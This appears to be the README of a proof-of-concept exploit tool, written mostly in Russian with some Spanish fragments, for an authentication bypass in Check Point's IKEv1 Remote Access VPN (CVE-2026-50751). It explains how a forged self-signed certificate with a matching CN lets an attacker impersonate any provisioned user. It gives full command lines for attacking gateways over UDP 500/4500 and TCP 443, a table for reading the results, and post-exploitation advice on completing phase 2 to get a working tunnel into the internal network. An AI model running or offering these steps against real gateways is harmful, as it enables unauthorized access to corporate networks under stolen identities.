
Обход аутентификации по сертификату в VPN Remote-Access от Check Point (IKEv1).
Обход аутентификации по сертификату в VPN Remote-Access от Check Point (IKEv1).
CVE-2026-50751 — это обход аутентификации в процессе iked от Check Point, присутствующий в версиях R81.10, R82 и R82.10 без хотфикса sk185033. Уязвимость позволяет аутентифицироваться как любой подготовленный пользователь Remote Access без закрытого ключа, без пароля и без действительного сертификата.
Уязвимый iked считывает флаг из Vendor ID VPNExtFeatures (бит 0x4) и, если он включён, пропускает verify_peer_auth / verifyMessagePhase1. Как следствие:
Подпись сертификата не проверяется (доказательство владения).
Цепочка доверия не проверяется.
Проверяется только то, что subject DN соответствует подготовленному пользователю.
Достаточно подделать самоподписанный сертификат, CN= которого совпадает с целевым пользователем, и отправить его с недействительной подписью. Если шлюз принимает фазу 1, мы аутентифицированы как этот пользователь (SA ISAKMP сохраняется под его DN).
Работает по IKE (UDP 500/4500) и по Visitor Mode (TCPT, TCP 443).
Синтаксис
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Флаг | Описание | По умолчанию |
|---|---|---|
-host | IP или hostname шлюза (обязательно) | — |
-user | Username RA для подмены (обязательно) | — |
-port | Порт: 500, 4500 (UDP) или 443 (TCPT) | 500 |
-org | Организация (O=) из ICA. Если опущено, выводится из TLS-сертификата шлюза на порту 443 | — |
-ou | Организационное подразделение (OU=) из DN пользователя. Должно точно совпадать с OU, которое Check Point хранит для пользователя | users |
-timeout | Таймаут на операцию (принимает любую длительность Go: 6s, 500ms, 1m) | 6s |
-retries | Повторы msg1, если шлюз не отвечает с первой попытки | 1 |
-tcpt | Принудительно использует транспорт Visitor Mode (TCPT поверх TCP, без TLS). Активируется автоматически при -port 443 | false |
Примечание о
-ou: значение по умолчанию —users, но на практике пользователь RA обычно принадлежит к определённой группе (например,VPN_GROUP). Уточните это с помощьюmgmt_cli show user name "<usuario>" details-level "full" --format jsonи найдите полеdistinguished-name. НеверныйOUприводит к тому, что шлюз молча отбрасываетmsg5(NO_RESPONSEилиINCONCLUSIVE), поскольку не может сопоставить DN ни с одним подготовленным пользователем.
O=)sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim
В Linux/macOS вам нужен sudo, чтобы привязать UDP-порт 500 как источник. Если вы не можете использовать sudo, PoC переключается на эфемерный порт, и многие шлюзы игнорируют пакеты из-за нестандартного source port.
Полезно, когда шлюз не раскрывает свой TLS-сертификат на порту 443 или когда автоматически выведенный O= не совпадает с таковым у провизионного пользователя:
./cve-2026-50751 \
-host 203.0.113.10 \
-port 500 \
-user victim \
-org "gw-754bab.acme.s34394" \
-ou VPN_GROUP
Активируется автоматически при указании -port 443:
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users
Принудительно задан с помощью -tcpt (на случай, если у шлюза Visitor Mode прослушивает порт, отличный от 443):
./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"
Для прохождения через NAT между вашей машиной и шлюзом. PoC добавляет к пакетам префикс с маркером NON-ESP из RFC 3948:
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"
Полезно при медленных соединениях или шлюзах с ограничением частоты запросов:
./cve-2026-50751 \
-host 203.0.113.10 \
-user victim \
-timeout 10s \
-retries 3 \
-org "ACME"
| Вывод | Значение | Что делать |
|---|---|---|
[+] [BYPASSED] + внутренний IP | Обход сработал; SA IKEv1 установлена как подменённый пользователь | См. раздел Постэксплуатация |
[-] [REJECTED] | Шлюз расшифровал ваш msg5, но отклонил аутентификацию | Пользователь не провизионирован, неверный OU, или шлюз пропатчен (sk185033) |
[-] [NO_CERT_REALM] | Шлюз не предлагает аутентификацию по сертификату в Main Mode | Шлюз не находится в режиме Certificate/Mixed, или принимает только IKEv2 |
[-] [NO_RESPONSE] | Нет ответа на msg1 | Межсетевой экран блокирует UDP/500, iked не запущен, или rate limiting |
[!] [INCONCLUSIVE] | Нет решающего ответа | Повторить попытку через несколько минут; проверить tcpdump и логи iked |
После получения [BYPASSED] PoC установила полную Ассоциацию безопасности IKEv1, и шлюз назначил вам виртуальный IP из пула Remote Access. С точки зрения шлюза вы являетесь подменённым пользователем внутри корпоративной сети.
Однако PoC не предоставляет пригодный для использования туннель данных (она не реализует Quick Mode / IPsec ESP). Чтобы воспользоваться позицией в сети, необходимо завершить фазу 2. Это можно сделать с помощью:
strongSwan или OpenVPN с манипулируемым сертификатом: настроить клиент так, чтобы он использовал сертификат с поддельным DN, и согласовать Quick Mode после обхода. Требуется изменить поток для внедрения VID и обхода проверки подписи на стороне клиента.Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │